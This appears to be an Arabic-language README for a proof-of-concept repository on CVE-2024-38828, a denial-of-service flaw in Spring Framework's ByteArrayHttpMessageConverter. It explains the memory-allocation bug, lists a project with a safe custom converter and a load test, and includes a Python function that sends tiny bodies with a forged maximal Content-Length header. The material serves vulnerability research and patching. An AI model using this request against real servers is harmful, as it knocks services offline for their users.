
PoC والإصلاح لـ CVE-2024-38828: هجوم رفض الخدمة (DoS) على Spring Framework عبر التلاعب بـ Content-Length في ByteArrayHttpMessageConverter. يتضمن اختبار الحمل، والقياسات (metrics)، ومُحوّل آمن مخصص.
يختبر هذا الاختبار السلوك/الاستجابة في Spring Framework عند وجود ثغرة CVE-2024-38828 وعدمها.
في ByteArrayHttpMessageConverter، يتم تخصيص الذاكرة في ByteArrayOutputStream بناءً على عنوان الطلب Content-Length
والذي قد لا يتطابق مع الواقع بجسم من 0 بايت. مع الزيادة الحادة في هذه الطلبات (DoS)، يتم استخدام الذاكرة بشكل غير أمثل، وتظهر عمليات تنظيف GC منتظمة ويبدأ التطبيق في التباطؤ. سأشرح كيفية تنفيذ/إصلاح ذلك والمقاييس.

CVE-2024-38828 هي ثغرة من نوع Denial of Service (DoS) في Spring Framework، والتي تسمح للمهاجم بالتسبب في استنزاف الذاكرة على الخادم من خلال وحدة تحكم Spring MVC ذات معامل من نوع byte[].
HttpMessageConverter مخصص لمعالجة مصفوفات البايت.
├── src/
│ └── main/
│ └── java/
│ └── me/
│ └── func/
│ └── demo/
│ ├── config/
│ │ └── WebConfig.java
│ ├── converter/
│ │ └── SafeByteArrayHttpMessageConverter.java
│ ├── controller/
│ │ └── DemoController.java
│ └── DemoApplication.java
├── tests/
│ ├── load_test.py
│ └── results/
│ ├── نتائج_الاختبار.png
│ └── metrics.json
└── README.md
def send_request(url):
try:
response = requests.post(
url,
data=b'0', # الحمولة الدنيا
headers={
'Content-Type': 'application/octet-stream',
'Content-Length': str(2**31 - 1) # الحجم الأقصى
}
)
return response.status_code, response.text
except Exception as e:
return f"خطأ: {str(e)}", None
pip install -r requirements.txt
python tests/load_test.py